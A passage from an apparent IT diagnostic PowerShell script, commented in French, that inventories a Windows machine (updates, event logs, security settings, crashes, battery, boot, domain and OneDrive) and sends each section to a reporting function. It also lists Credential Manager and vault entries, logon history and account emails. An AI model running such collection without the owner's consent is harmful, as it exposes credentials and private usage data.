            message      = ($_.Message -replace "`r`n"," ").Substring(0, [Math]::Min(300, $_.Message.Length))
        }
    }
} catch {}

$wuFailed   = @($wuHistory | Where-Object { $_.result_code -eq 3 })
$wuSuccess  = @($wuHistory | Where-Object { $_.result_code -eq 1 })

Send-Section "updates" @{
    hotfixes          = @($hotfixes)
    last_install_date = $lastPatch
    wu_history        = @($wuHistory)
    wu_errors_events  = @($wuErrors)
    wu_failed_count   = $wuFailed.Count
    wu_success_count  = $wuSuccess.Count
    wu_total_count    = $wuHistory.Count
}

# ── Event Logs (filtré : erreurs/avertissements 30 derniers jours) ─────────────
Write-Log "Collecte event logs..." "INFO"
$since = (Get-Date).AddDays(-30)
# Canaux avec limite max adaptée (Security log = beaucoup d'events info, on limite plus)
$logChannels = @(
    @{ name="System";                                                    max=300 }
    @{ name="Application";                                               max=300 }
    @{ name="Security";                                                  max=100 }
    @{ name="Microsoft-Windows-Kernel-PnP/Configuration";               max=200 }
    @{ name="Microsoft-Windows-WHEA-Logger/Operational";                max=100 }
    @{ name="Microsoft-Windows-Disk/Operational";                       max=100 }
    @{ name="Microsoft-Windows-Diagnostics-Performance/Operational";    max=100 }
    @{ name="Microsoft-Windows-WindowsUpdateClient/Operational";        max=100 }
    @{ name="Microsoft-Windows-PowerShell/Operational";                 max=100 }
    @{ name="Microsoft-Windows-TaskScheduler/Operational";              max=100 }
    @{ name="Microsoft-Windows-DriverFrameworks-UserMode/Operational";  max=100 }
)
$allEvents = @()
foreach ($ch in $logChannels) {
    try {
        # FilterHashtable avec StartTime = filtre côté provider (rapide, pas de scan complet)
        $events = Get-WinEvent -FilterHashtable @{ LogName=$ch.name; StartTime=$since } `
            -MaxEvents ($ch.max * 5) -ErrorAction SilentlyContinue |
            Where-Object { $_.Level -ge 1 -and $_.Level -le 3 } |
            Select-Object -First $ch.max |
            ForEach-Object {
                $msg = if ($_.Message) { ($_.Message -replace "`r`n"," ").Substring(0, [Math]::Min(400, $_.Message.Length)) } else { "" }
                @{
                    id           = $_.Id
                    level        = $_.LevelDisplayName
                    time_created = ConvertTo-IsoDate $_.TimeCreated
                    provider     = $_.ProviderName
                    message      = $msg
                    log_name     = $ch.name
                }
            }
        $allEvents += @($events)
    } catch {}
}
Send-Section "eventlogs" $allEvents

# ── Securite ─────────────────────────────────────────────────────────────────
Write-Log "Collecte securite..." "INFO"
$defender = try {
    $mp = Get-MpComputerStatus -ErrorAction Stop
    @{
        realtime_protection     = $mp.RealTimeProtectionEnabled
        antivirus_enabled       = $mp.AntivirusEnabled
        antispyware_enabled     = $mp.AntispywareEnabled
        behavior_monitor        = $mp.BehaviorMonitorEnabled
        ioav_protection         = $mp.IoavProtectionEnabled
        network_inspection      = $mp.NisEnabled
        last_full_scan          = ConvertTo-IsoDate $mp.LastFullScanEndTime
        last_quick_scan         = ConvertTo-IsoDate $mp.LastQuickScanEndTime
        definitions_version     = $mp.AntivirusSignatureVersion
        definitions_date        = ConvertTo-IsoDate $mp.AntivirusSignatureLastUpdated
        engine_version          = $mp.AMEngineVersion
        product_status          = $mp.AMProductVersion
        quarantine_count        = $mp.QuarantineCount
        threat_count            = $mp.ThreatStatusCount
        tamper_protection       = $mp.IsTamperProtected
    }
} catch { @{ error = $_.ToString() } }

$bitlocker = try {
    Get-BitLockerVolume -ErrorAction Stop | ForEach-Object {
        $vol = $_
        @{
            drive              = $vol.MountPoint
            protection_status  = $vol.ProtectionStatus.ToString()
            volume_status      = $vol.VolumeStatus.ToString()
            encryption_method  = $vol.EncryptionMethod.ToString()
            encryption_percent = $vol.EncryptionPercentage
            lock_status        = $vol.LockStatus.ToString()
            auto_unlock        = $vol.AutoUnlockEnabled
            auto_unlock_key    = $vol.AutoUnlockKeyStored
            key_protectors     = @($vol.KeyProtector | ForEach-Object {
                @{
                    type       = $_.KeyProtectorType.ToString()
                    id         = $_.KeyProtectorId
                    has_tpm    = $_.KeyProtectorType.ToString() -eq 'Tpm'
                    has_pin    = $_.KeyProtectorType.ToString() -eq 'TpmPin'
                    has_recovery = $_.KeyProtectorType.ToString() -eq 'RecoveryPassword'
                    has_ad     = $_.KeyProtectorType.ToString() -eq 'AdAccountOrGroup'
                    backed_up  = $_.KeyProtectorType.ToString() -in @('RecoveryPassword','AdAccountOrGroup')
                }
            })
        }
    }
} catch { @() }

$tpm = try {
    $t = Get-Tpm -ErrorAction Stop
    @{
        present       = $t.TpmPresent
        ready         = $t.TpmReady
        enabled       = $t.TpmEnabled
        activated     = $t.TpmActivated
        owned         = $t.TpmOwned
        spec_version  = $t.ManufacturerVersionFull
        manufacturer  = $t.ManufacturerIdTxt
    }
} catch { @{ error = "$_" } }

# Antivirus/Pare-feu tiers enregistrés dans Windows Security Center
$secCenterAV = try {
    Get-CimInstance -Namespace "root\SecurityCenter2" -ClassName AntiVirusProduct -ErrorAction Stop |
        ForEach-Object {
            $state = $_.productState
            @{
                name       = $_.displayName
                product_state = $state
                enabled    = ($state -band 0x1000) -ne 0
                up_to_date = ($state -band 0x0010) -eq 0
                is_windows = $_.displayName -match "Windows Defender|Microsoft Defender"
            }
        }
} catch { @() }

$secCenterFW = try {
    Get-CimInstance -Namespace "root\SecurityCenter2" -ClassName FirewallProduct -ErrorAction Stop |
        ForEach-Object {
            @{ name = $_.displayName; product_state = $_.productState }
        }
} catch { @() }

$activation = try {
    $lic = Get-CimInstance SoftwareLicensingProduct -Filter "Name like 'Windows%' and LicenseStatus=1" -ErrorAction Stop | Select-Object -First 1
    @{
        product_name   = $lic.Name
        license_status = switch ($lic.LicenseStatus) { 0{"Non licencie"} 1{"Licencie"} 2{"Periode initiale"} 3{"Grace OOB"} 4{"Grace non-genuine"} 5{"Notification"} 6{"Grace etendu"} default{"Inconnu"} }
        partial_key    = $lic.PartialProductKey
        description    = $lic.Description
    }
} catch { @{ error = "Impossible de recuperer l'activation" } }

$uacSys = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -ErrorAction SilentlyContinue
$firewallProfiles = try {
    Get-NetFirewallProfile -ErrorAction Stop | ForEach-Object {
        @{ profile = $_.Name; enabled = $_.Enabled; default_inbound = $_.DefaultInboundAction.ToString(); default_outbound = $_.DefaultOutboundAction.ToString(); log_allowed = $_.LogAllowed; log_blocked = $_.LogBlocked }
    }
} catch { @() }

# Certificats expires ou expirant bientot
$certs = try {
    Get-ChildItem Cert:\LocalMachine\My -ErrorAction Stop | ForEach-Object {
        $daysLeft = ($_.NotAfter - (Get-Date)).Days
        @{
            subject    = $_.Subject
            issuer     = $_.Issuer
            not_after  = ConvertTo-IsoDate $_.NotAfter
            not_before = ConvertTo-IsoDate $_.NotBefore
            days_left  = $daysLeft
            thumbprint = $_.Thumbprint
            expired    = $_.NotAfter -lt (Get-Date)
        }
    }
} catch { @() }

# Windows Hello / MFA
$credProviders = try {
    (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -ErrorAction SilentlyContinue).CachedLogonsCount
} catch { $null }

Send-Section "security" @{
    defender          = $defender
    bitlocker         = @($bitlocker)
    tpm               = $tpm
    activation        = $activation
    uac_consent_admin = $uacSys.ConsentPromptBehaviorAdmin
    uac_enabled       = $uacSys.EnableLUA
    firewall_profiles = @($firewallProfiles)
    certificates      = @($certs)
    secure_boot       = $(try { Confirm-SecureBootUEFI -ErrorAction Stop } catch { $null })
    lsa_protection    = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -ErrorAction SilentlyContinue).RunAsPPL
    cached_logons     = $credProviders
    sec_center_av     = @($secCenterAV)
    sec_center_fw     = @($secCenterFW)
}

# ── Processus ─────────────────────────────────────────────────────────────────
Write-Log "Collecte processus..." "INFO"
$processes = Get-Process -ErrorAction SilentlyContinue | Sort-Object WorkingSet64 -Descending | Select-Object -First 60 | ForEach-Object {
    $path = try { $_.MainModule.FileName } catch { $null }
    $company = try { $_.MainModule.FileVersionInfo.CompanyName } catch { $null }
    $signed = if ($path -and (Test-Path $path)) {
        try { (Get-AuthenticodeSignature $path -ErrorAction Stop).Status.ToString() } catch { "Inconnu" }
    } else { $null }
    @{
        name       = $_.Name
        pid        = $_.Id
        memory_mb  = [Math]::Round($_.WorkingSet64 / 1MB, 1)
        cpu_time_s = $(try { [Math]::Round($_.TotalProcessorTime.TotalSeconds, 1) } catch { $null })
        threads    = $_.Threads.Count
        handles    = $_.HandleCount
        path       = $path
        company    = $company
        signature  = $signed
        start_time = ConvertTo-IsoDate $(try { $_.StartTime } catch { $null })
    }
}
Send-Section "processes" @($processes)

# ── Crashs / BSOD ────────────────────────────────────────────────────────────
Write-Log "Collecte crashs..." "INFO"
$minidumps = Get-ChildItem "C:\Windows\Minidump" -Filter "*.dmp" -ErrorAction SilentlyContinue |
    Sort-Object LastWriteTime -Descending | ForEach-Object {
        @{ name = $_.Name; date = ConvertTo-IsoDate $_.LastWriteTime; size_kb = [Math]::Round($_.Length/1KB) }
    }
$werReports = Get-ChildItem "C:\ProgramData\Microsoft\Windows\WER\ReportArchive" -Directory -ErrorAction SilentlyContinue |
    Sort-Object LastWriteTime -Descending | Select-Object -First 30 | ForEach-Object {
        $metadata = Get-Content (Join-Path $_.FullName "Report.wer") -ErrorAction SilentlyContinue | Select-Object -First 20
        @{
            name    = $_.Name
            date    = ConvertTo-IsoDate $_.LastWriteTime
            summary = ($metadata | Select-String "FaultingApp|EventType|FriendlyEventName") -join " | "
        }
    }
$bsodEvents = try {
    Get-WinEvent -FilterHashtable @{ LogName="System"; Id=@(1001,41,6008,1000,1002); StartTime=(Get-Date).AddDays(-90) } `
        -MaxEvents 30 -ErrorAction Stop | ForEach-Object {
            @{
                id           = $_.Id
                time_created = ConvertTo-IsoDate $_.TimeCreated
                level        = $_.LevelDisplayName
                provider     = $_.ProviderName
                message      = ($_.Message -replace "`r`n"," ").Substring(0, [Math]::Min(400, $_.Message.Length))
            }
        }
} catch { @() }

# Stop codes BSOD depuis WER-SystemErrorReporting (event 1001, proprietes = BugCheck, params)
$bsodStopCodes = try {
    Get-WinEvent -FilterHashtable @{ LogName="System"; Id=1001; ProviderName="Microsoft-Windows-WER-SystemErrorReporting" } `
        -MaxEvents 30 -ErrorAction Stop | ForEach-Object {
        $p = $_.Properties
        @{
            time       = ConvertTo-IsoDate $_.TimeCreated
            stop_code  = if ($p.Count -gt 0) { "0x{0:X8}" -f [uint32]"$($p[0].Value)" } else { $null }
            param1     = if ($p.Count -gt 1) { "0x{0:X16}" -f [uint64]"$($p[1].Value)" } else { $null }
            param2     = if ($p.Count -gt 2) { "0x{0:X16}" -f [uint64]"$($p[2].Value)" } else { $null }
            param3     = if ($p.Count -gt 3) { "0x{0:X16}" -f [uint64]"$($p[3].Value)" } else { $null }
            param4     = if ($p.Count -gt 4) { "0x{0:X16}" -f [uint64]"$($p[4].Value)" } else { $null }
            dump_file  = if ($p.Count -gt 5) { "$($p[5].Value)" } else { $null }
        }
    }
} catch { @() }

# Kernel-Power 41 = arret inopiné (sans arret propre)
$unexpectedShutdowns = try {
    Get-WinEvent -FilterHashtable @{ LogName="System"; Id=41; ProviderName="Microsoft-Windows-Kernel-Power" } `
        -MaxEvents 20 -ErrorAction Stop | ForEach-Object {
        @{
            time       = ConvertTo-IsoDate $_.TimeCreated
            message    = ($_.Message -replace "`r`n"," ").Substring(0, [Math]::Min(300, $_.Message.Length))
        }
    }
} catch { @() }

Send-Section "crashes" @{
    minidump_count      = @($minidumps).Count
    minidumps           = @($minidumps)
    wer_count           = @($werReports).Count
    wer_reports         = @($werReports)
    bsod_events         = @($bsodEvents)
    bsod_stop_codes     = @($bsodStopCodes)
    unexpected_shutdowns = @($unexpectedShutdowns)
}

# ── Etat de la batterie (laptops uniquement) ──────────────────────────────────
if (@(Get-CimInstance Win32_Battery -ErrorAction SilentlyContinue).Count -gt 0) {
    Write-Log "Collecte batterie (powercfg)..." "INFO"
    $battXmlPath = Join-Path $TempDir "battery_report.xml"
    $battData = @{}
    try {
        & powercfg /batteryreport /output $battXmlPath /xml 2>&1 | Out-Null
        if (Test-Path $battXmlPath) {
            [xml]$battXml = Get-Content $battXmlPath -Encoding UTF8 -ErrorAction Stop
            $ns = @{ b = "http://schemas.microsoft.com/battery/2012" }
            # Batteries
            $batts = $battXml.BatteryReport.Batteries.Battery | ForEach-Object {
                $design = [int]$_.DesignCapacity
                $full   = [int]$_.FullChargeCapacity
                $wear   = if ($design -gt 0) { [Math]::Round((1 - $full / $design) * 100, 1) } else { $null }
                @{
                    id               = $_.id
                    manufacturer     = $_.Manufacturer
                    serial_number    = $_.SerialNumber
                    chemistry        = $_.Chemistry
                    design_mwh       = $design
                    full_charge_mwh  = $full
                    cycle_count      = $(try { [int]$_.CycleCount } catch { $null })
                    wear_pct         = $wear
                    health           = if ($null -eq $wear) { "N/A" } elseif ($wear -lt 20) { "Bon" } elseif ($wear -lt 40) { "Moyen" } else { "Mauvais" }
                }
            }
            # Utilisations recentes (15 derniers jours)
            $recentUsage = $battXml.BatteryReport.RecentUsage.UsageEntry |
                Where-Object { $_ -and $_.Timestamp } |
                Select-Object -Last 96 |
                ForEach-Object {
                    @{
                        time           = $_.Timestamp
                        charge_pct     = if ($_.FullChargeCapacity -gt 0) { [Math]::Round([int]$_.RemainingCapacity / [int]$_.FullChargeCapacity * 100) } else { $null }
                        remaining_mwh  = $(try { [int]$_.RemainingCapacity } catch { $null })
                        ac_power       = $_.AcPower -eq "true"
                        active_s       = $(try { [int]$_.ActiveTime } catch { 0 })
                        standby_s      = $(try { [int]$_.ConnectedStandbyTime } catch { 0 })
                    }
                }
            $battData = @{
                batteries    = @($batts)
                recent_usage = @($recentUsage)
            }
            Remove-Item $battXmlPath -Force -ErrorAction SilentlyContinue
        }
    } catch {
        $battData = @{ error = "$_" }
    }
    Send-Section "battery_health" $battData
}

# ── Suivi d'utilisation (EVTX) ────────────────────────────────────────────────
Write-Log "Collecte suivi d'utilisation..." "INFO"
$usageSince = (Get-Date).AddDays(-30)

# Demarrage/arret (System log : 6005=service demarré=boot, 6006=arret, 6008=arret inopiné)
$bootShutdown = try {
    Get-WinEvent -FilterHashtable @{ LogName="System"; Id=@(6005,6006,6008); StartTime=$usageSince } -MaxEvents 200 -ErrorAction Stop |
        ForEach-Object {
            @{
                time  = ConvertTo-IsoDate $_.TimeCreated
                event = switch ($_.Id) { 6005 { "Demarrage" } 6006 { "Arret" } 6008 { "Arret inopine" } default { $_.Id } }
                id    = $_.Id
            }
        }
} catch { @() }

# Veille/reveil (Kernel-Power)
$sleepWake = try {
    Get-WinEvent -FilterHashtable @{ LogName="System"; ProviderName="Microsoft-Windows-Kernel-Power"; Id=@(42,107); StartTime=$usageSince } `
        -MaxEvents 200 -ErrorAction Stop |
        ForEach-Object {
            @{
                time  = ConvertTo-IsoDate $_.TimeCreated
                event = switch ($_.Id) { 42 { "Mise en veille" } 107 { "Reveil" } default { $_.Id } }
                id    = $_.Id
            }
        }
} catch { @() }

# Connexions/deconnexions (Security log : 4624=logon, 4634/4647=logoff, 4800=verrou, 4801=deverrou)
$logonEvents = try {
    Get-WinEvent -FilterHashtable @{ LogName="Security"; Id=@(4624,4634,4647,4800,4801); StartTime=$usageSince } `
        -MaxEvents 300 -ErrorAction Stop |
        ForEach-Object {
            $user = try { "$($_.Properties[5].Value)\$($_.Properties[6].Value)" } catch { "?" }
            $logonType = if ($_.Id -eq 4624) { try { $_.Properties[8].Value } catch { $null } } else { $null }
            @{
                time       = ConvertTo-IsoDate $_.TimeCreated
                id         = $_.Id
                event      = switch ($_.Id) { 4624{"Connexion"} 4634{"Deconnexion"} 4647{"Deconnexion user"} 4800{"Verrou"} 4801{"Deverrou"} default{$_.Id} }
                user       = $user
                logon_type = switch ($logonType) { 2{"Interactif"} 3{"Reseau"} 7{"Deverrou"} 10{"Distant"} 11{"Identif.cache"} $null{$null} default{$logonType} }
            }
        }
} catch { @() }

Send-Section "usage_tracking" @{
    boot_shutdown = @($bootShutdown)
    sleep_wake    = @($sleepWake)
    logon_events  = @($logonEvents)
}

# ── Peripheriques (tous, incluant desactives et en erreur) ────────────────────
Write-Log "Collecte peripheriques..." "INFO"
$allDevices = try {
    Get-PnpDevice -ErrorAction Stop | Where-Object { $_.FriendlyName -ne $null -and $_.FriendlyName -ne "" } | ForEach-Object {
        $pc = if ($null -ne $_.ProblemCode) { [int]$_.ProblemCode } else { 0 }
        @{
            name         = $_.FriendlyName
            class        = $_.Class
            status       = $_.Status.ToString()
            problem_code = $pc
            instance_id  = $_.InstanceId
            present      = $_.Present
            disabled     = $pc -eq 22
            has_error    = $null -ne $_.ProblemCode -and $_.ProblemCode -ne 0
            error_label  = switch ($pc) {
                0  { $null }
                1  { "Pas de pilote" }
                3  { "Non configure" }
                10 { "Ne peut demarrer" }
                14 { "Redemarrage requis" }
                18 { "Reinstaller pilote" }
                19 { "Echec config" }
                22 { "Desactive" }
                28 { "Pilote non installe" }
                43 { "Echec du peripherique" }
                45 { "Non connecte" }
                52 { "Signature invalide" }
                default { if ($null -ne $_.ProblemCode -and $_.ProblemCode -ne 0) { "Code $($_.ProblemCode)" } else { $null } }
            }
        }
    }
} catch { @() }

Send-Section "device_status" @{
    total       = @($allDevices).Count
    ok          = @($allDevices | Where-Object { $_.problem_code -eq 0 }).Count
    disabled    = @($allDevices | Where-Object { $_.disabled }).Count
    errors      = @($allDevices | Where-Object { $_.has_error -and -not $_.disabled }).Count
    devices     = @($allDevices)
}

# ── Démarrage / BIOS / Firmware ───────────────────────────────────────────────
Write-Log "Collecte infos demarrage/BIOS..." "INFO"

# Mode firmware UEFI vs Legacy
$isUEFI = Test-Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecureBoot"
if (-not $isUEFI) { $isUEFI = Test-Path "$env:SystemRoot\Boot\EFI\bootmgfw.efi" }
$firmwareType = if ($isUEFI) { "UEFI" } else { "Legacy BIOS" }

# Secure Boot (état détaillé)
$secureBoot = try { Confirm-SecureBootUEFI -ErrorAction Stop } catch { $null }
$secureBootState = try {
    (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\SecureBoot\State" -ErrorAction Stop).UEFISecureBootEnabled
} catch { $null }

# GPT vs MBR par disque
$diskPartStyles = try {
    Get-Disk -ErrorAction Stop | ForEach-Object {
        @{
            number          = $_.Number
            model           = $_.Model
            size_gb         = [Math]::Round($_.Size / 1GB, 1)
            partition_style = $_.PartitionStyle.ToString()
            is_boot         = $_.IsBoot
            is_system       = $_.IsSystem
        }
    }
} catch { @() }

# FastBoot (Hiberboot / démarrage hybride)
$fastBoot = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Power" -ErrorAction SilentlyContinue).HiberbootEnabled

# Hibernation
$hibernation = try { & powercfg /hibernate query 2>&1 | Out-String } catch { "?" }

# États de veille disponibles
$sleepStates = try { & powercfg /availablesleepstates 2>&1 | Out-String } catch { "?" }

# bcdedit entrée courante (nécessite admin, peut échouer)
$bcdCurrent = try { & bcdedit /enum "{current}" 2>&1 | Out-String } catch { "Non disponible" }

# Toutes les entrees BCD (UEFI + legacy)
$bcdAll = try { & bcdedit /enum ALL 2>&1 | Out-String } catch { "Non disponible" }

# Partition EFI (System Partition)
$efiPartitions = try {
    Get-Partition -ErrorAction Stop | Where-Object { $_.Type -eq "System" -or $_.GptType -eq "{c12a7328-f81f-11d2-ba4b-00a0c93ec93b}" } |
        ForEach-Object {
            $drive = Get-Disk -Number $_.DiskNumber -ErrorAction SilentlyContinue
            @{
                disk_number      = $_.DiskNumber
                partition_number = $_.PartitionNumber
                size_mb          = [Math]::Round($_.Size / 1MB, 0)
                drive_letter     = $_.DriveLetter
                disk_model       = $drive.Model
            }
        }
} catch { @() }

# Type de demarrage actuel (safe mode, minimal, network, normal)
$bootType = "Normal"
$safeBootKey = try { (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\SafeBoot\Option" -ErrorAction Stop).OptionValue } catch { $null }
if ($null -ne $safeBootKey) {
    $bootType = switch ($safeBootKey) { 1{"Minimal"} 2{"Reseau"} 3{"ActiveDirectoryRepair"} default{"SafeMode"} }
}
# Alternative via BCD
if ($bootType -eq "Normal" -and $bcdCurrent -match "safeboot\s+(\w+)") {
    $bootType = "SafeMode-$($Matches[1])"
}

# Systemes d'exploitation disponibles dans BCD
$bcdOsEntries = @()
try {
    $bcdRaw = & bcdedit /enum ALL 2>&1
    $currentEntry = @{}
    foreach ($line in $bcdRaw) {
        if ($line -match "^---") { if ($currentEntry.Count -gt 0) { $bcdOsEntries += $currentEntry }; $currentEntry = @{} }
        elseif ($line -match "^(\w[\w ]+?)\s{2,}(.+)$") { $currentEntry[$Matches[1].Trim()] = $Matches[2].Trim() }
    }
    if ($currentEntry.Count -gt 0) { $bcdOsEntries += $currentEntry }
    $bcdOsEntries = @($bcdOsEntries | Where-Object { $_['description'] -ne $null -or $_['path'] -ne $null })
} catch {}

# BIOS / SMBIOS (info détaillée)
$biosRaw   = Get-CimInstance Win32_BIOS             -ErrorAction SilentlyContinue
$enclosure = Get-CimInstance Win32_SystemEnclosure  -ErrorAction SilentlyContinue
$sysCs     = Get-CimInstance Win32_ComputerSystem   -ErrorAction SilentlyContinue
$chassisTypeMap = @{3="Desktop";4="Desktop compact";6="Mini Tower";7="Tower";8="Portable";9="Laptop";10="Notebook";11="Handheld";13="All-in-One";14="Sub-Notebook";15="Space Saving";30="Tablet";31="Convertible";32="Detachable";36="Mini PC"}
$chassisNum = $enclosure.ChassisTypes | Select-Object -First 1
$chassisLabel = if ($chassisTypeMap.ContainsKey([int]"$chassisNum")) { $chassisTypeMap[[int]"$chassisNum"] } else { "Inconnu ($chassisNum)" }

Send-Section "boot_info" @{
    firmware_type      = $firmwareType
    is_uefi            = $isUEFI
    secure_boot        = $secureBoot
    secure_boot_state  = $secureBootState
    fast_boot          = ($fastBoot -eq 1)
    hibernation        = $hibernation.Trim()
    sleep_states       = $sleepStates.Trim()
    disk_partitions    = @($diskPartStyles)
    bcd_current        = $bcdCurrent.Trim()
    bcd_all            = $bcdAll.Trim()
    efi_partitions     = @($efiPartitions)
    boot_type          = $bootType
    bcd_os_entries     = @($bcdOsEntries)
    bios = @{
        manufacturer       = $biosRaw.Manufacturer
        name               = $biosRaw.Name
        version            = $biosRaw.Version
        smbios_version     = $biosRaw.SMBIOSBIOSVersion
        smbios_major       = $biosRaw.SMBIOSMajorVersion
        smbios_minor       = $biosRaw.SMBIOSMinorVersion
        release_date       = ConvertTo-IsoDate $biosRaw.ReleaseDate
    }
    chassis = @{
        type               = $chassisLabel
        chassis_code       = $chassisNum
        serial_number      = $enclosure.SerialNumber
        asset_tag          = $enclosure.SMBIOSAssetTag
        sku_number         = $sysCs.SystemSKUNumber
        manufacturer       = $enclosure.Manufacturer
    }
}

# ── Domaine / Azure AD ────────────────────────────────────────────────────────
Write-Log "Collecte domaine/Azure AD..." "INFO"

# dsregcmd /status — Azure AD join, MDM, PRT
$dsregRaw = try { & dsregcmd /status 2>&1 | Out-String } catch { "" }
$dsreg = @{}
$dsregRaw -split "`n" | ForEach-Object {
    if ($_ -match '^\s+(\w[\w\s]+?)\s*:\s*(.+)$') {
        $dsreg[$matches[1].Trim()] = $matches[2].Trim()
    }
}

# Role de la machine dans le domaine
$cs = Get-CimInstance Win32_ComputerSystem -ErrorAction SilentlyContinue
$domainRole = switch ($cs.DomainRole) {
    0 { "Standalone Workstation" }
    1 { "Member Workstation" }
    2 { "Standalone Server" }
    3 { "Member Server" }
    4 { "Backup Domain Controller" }
    5 { "Primary Domain Controller" }
    default { "Inconnu ($($cs.DomainRole))" }
}
$isDC = $cs.DomainRole -in @(4, 5)
$isVM = $cs.Model -match "Virtual|VMware|VirtualBox|Hyper-V|KVM|QEMU|Xen|innotek"

# DC list du domaine (si membre d'un domaine)
$dcList = try {
    if ($cs.PartOfDomain) {
        & nltest /dclist:$($cs.Domain) 2>&1 | Select-String '\\\\' | ForEach-Object { $_.Line.Trim() }
    }
} catch { @() }

# GPO appliquées
$gpresult = try { & gpresult /r /scope computer 2>&1 | Out-String } catch { "Impossible" }

# OneDrive — comptes et stockage
$oneDriveAccounts = @()
$odVersion = $null
$odRunning  = $false
$odRegBase = "HKCU:\Software\Microsoft\OneDrive"
if (Test-Path $odRegBase) {
    $odVersion = try { (Get-ItemProperty $odRegBase -ErrorAction Stop).Version } catch { $null }
    $odRunning  = $null -ne (Get-Process "OneDrive" -ErrorAction SilentlyContinue | Select-Object -First 1)
    $odAccountsPath = Join-Path $odRegBase "Accounts"
    if (Test-Path $odAccountsPath) {
        Get-ChildItem $odAccountsPath -ErrorAction SilentlyContinue | ForEach-Object {
            $acctKey  = $_
            $props    = Get-ItemProperty $acctKey.PSPath -ErrorAction SilentlyContinue
            if (-not $props -or (-not $props.UserEmail)) { return }
            $acctType = $acctKey.PSChildName
            $isBiz    = $acctType -like "Business*"
            # Quota depuis le registre (certaines versions OneDrive)
            $totalBytes = $null; $usedBytes = $null
            try { if ($props.TotalQuota) { $totalBytes = [long]$props.TotalQuota } } catch {}
            try { if ($props.QuotaUsed)  { $usedBytes  = [long]$props.QuotaUsed  } } catch {}
            # Fallback : fichiers .ini dans le dossier de parametres OneDrive
            if (-not $totalBytes) {
                $settingsDir = Join-Path $env:LOCALAPPDATA "Microsoft\OneDrive\settings\$acctType"
                if (Test-Path $settingsDir) {
                    Get-ChildItem $settingsDir -Filter "*.ini" -ErrorAction SilentlyContinue | ForEach-Object {
                        if ($totalBytes) { return }
                        $lines = Get-Content $_.FullName -ErrorAction SilentlyContinue
                        $tLine = $lines | Where-Object { $_ -match '^\s*TotalQuota\s*=' } | Select-Object -First 1
                        $uLine = $lines | Where-Object { $_ -match '^\s*QuotaUsed\s*='  } | Select-Object -First 1
                        try { if ($tLine) { $totalBytes = [long]($tLine -replace '^[^=]+=\s*','') } } catch {}
                        try { if ($uLine) { $usedBytes  = [long]($uLine  -replace '^[^=]+=\s*','') } } catch {}
                    }
                }
            }
            $totalGB = if ($totalBytes) { [Math]::Round($totalBytes / 1GB, 2) } else { $null }
            $usedGB  = if ($usedBytes)  { [Math]::Round($usedBytes  / 1GB, 2) } else { $null }
            $licenseType = $null
            if ($totalGB -and -not $isBiz) {
                $licenseType = if     ($totalGB -le 6)    { "Gratuit (5 Go)" }
                               elseif ($totalGB -le 110)  { "Microsoft 365 Personnel (100 Go)" }
                               elseif ($totalGB -le 1100) { "Microsoft 365 Famille (1 To)" }
                               else                       { "Microsoft 365 Business (>1 To)" }
            }
            $oneDriveAccounts += @{
                account_type   = if ($isBiz) { "Professionnel" } else { "Personnel" }
                account_name   = $acctType
                email          = $props.UserEmail
                display_name   = $props.UserName
                sync_folder    = if ($props.UserFolder) { $props.UserFolder } else { $props.ServiceFolder }
                tenant_id      = $props.SPOTenantID
                total_quota_gb = $totalGB
                used_quota_gb  = $usedGB
                license_type   = $licenseType
            }
        }
    }
}

Send-Section "domain_azure" @{
    domain               = $cs.Domain
    workgroup            = $cs.Workgroup
    part_of_domain       = $cs.PartOfDomain
    domain_role          = $domainRole
    is_dc                = $isDC
    is_vm                = $isVM
    hypervisor_present   = $cs.HypervisorPresent
    azure_ad_joined      = $dsreg["AzureADJoined"]
    enterprise_joined    = $dsreg["EnterpriseJoined"]
    domain_joined        = $dsreg["DomainJoined"]
    azure_tenant_name    = $dsreg["TenantName"]
    azure_tenant_id      = $dsreg["TenantId"]
    mdm_url              = $dsreg["MdmUrl"]
    mdm_tou_url          = $dsreg["MdmTouUrl"]
    workplace_joined     = $dsreg["WorkplaceJoined"]
    prt_status           = $dsreg["AzureAdPrt"]
    dc_list              = @($dcList)
    gpo_summary          = $gpresult.Substring(0, [Math]::Min(8000, $gpresult.Length))
    onedrive_accounts    = @($oneDriveAccounts)
    onedrive_version     = $odVersion
    onedrive_running     = $odRunning
}

# ── Coffre d'identités / Credential Manager ───────────────────────────────────
Write-Log "Collecte Credential Manager..." "INFO"
$cmdkeyList = try { & cmdkey /list 2>&1 | Out-String } catch { "" }

# Vaultcmd - coffres Windows
$vaultList  = try { & vaultcmd /list 2>&1 | Out-String } catch { "" }

# Windows Hello / Credential Providers
$helloEnabled = try {
    (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\PassportForWork" -ErrorAction Stop).Enabled
} catch { $null }

$helloDeviceEnabled = try {
    $ngcPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\NGC"
    Test-Path $ngcPath
} catch { $null }

# Logons cached (nb comptes mis en cache)
$cachedLogons = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -ErrorAction SilentlyContinue).CachedLogonsCount

# Comptes Microsoft connectés (WinRT AccountsAPI via registre)
$msAccounts = try {
    Get-ChildItem "HKCU:\Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\SessionData" -ErrorAction Stop |
        Get-ItemProperty | Select-Object -ExpandProperty AuthenticatedUser -ErrorAction SilentlyContinue
} catch { @() }

Send-Section "identity_vault" @{
    cmdkey_list         = $cmdkeyList.Trim()
    vault_list          = $vaultList.Trim()
    hello_policy        = $helloEnabled
    hello_device_key    = $helloDeviceEnabled
    cached_logons_count = $cachedLogons
    ms_accounts         = @($msAccounts)
}

# ── Licences et applications par défaut ───────────────────────────────────────
Write-Log "Collecte licences et applications par defaut..." "INFO"

# Office ClickToRun
$c2r = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Office\ClickToRun\Configuration" -ErrorAction SilentlyContinue
$officeC2R = if ($c2r) {
    @{
        version          = $c2r.VersionToReport
        channel          = $c2r.UpdateChannel
        product_ids      = $c2r.ProductReleaseIds
